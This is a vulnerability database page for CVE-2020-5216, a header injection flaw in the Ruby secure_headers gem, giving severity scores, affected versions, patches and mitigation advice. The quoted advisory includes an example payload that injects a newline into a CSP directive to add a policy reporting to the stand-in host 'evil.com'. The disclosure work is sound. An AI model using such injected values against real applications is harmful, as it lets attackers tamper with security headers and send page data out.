CVE-2020-5216 is a medium-severity (CVSS 5.8) CWE-113 vulnerability in secure_headers. 1 public exploit reference exists, so weaponization risk is real. A fix is available for secure_headers — see the affected versions and patch details below.
Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2020-5216 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
secure_headers💎secure_headers💎secure_headersReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
would result in
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
Workarounds
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies
For more information
If you have any questions or comments about this advisory:
- Open an issue in this repo
- DM us at @ndm on twitter
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | secure_headers | ≥ 6.0.0&&< 6.3.0 | 6.3.0bundle update secure_headers --conservative |
| 💎RubyGems | secure_headers | ≥ 5.0.0&&< 5.2.0 | 5.2.0bundle update secure_headers --conservative |
| 💎RubyGems | secure_headers | all versions | 3.9.0bundle update secure_headers --conservative |
Affected Products
secure headerstwitterResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for secure_headers, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update secure_headers to 6.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2020-5216 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Satellite 6 ships Secure Header rubygem, however, it does not accept any user input in override_content_security_policy_directive or append_content_security_policy_directive. All directives are hard-coded and therefor Satellite 6 is not vulnerable to this CVE. We may update this rubygem in future release.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Satellite 6.8 for RHEL 7 | ansible-collection-redhat-satellite-0:1.3.0-1.el7sat | RHSA-2020:4366 |
Frequently Asked Questions
Is CVE-2020-5216 in your dependencies?
Find it across RubyGems, including transitive dependencies.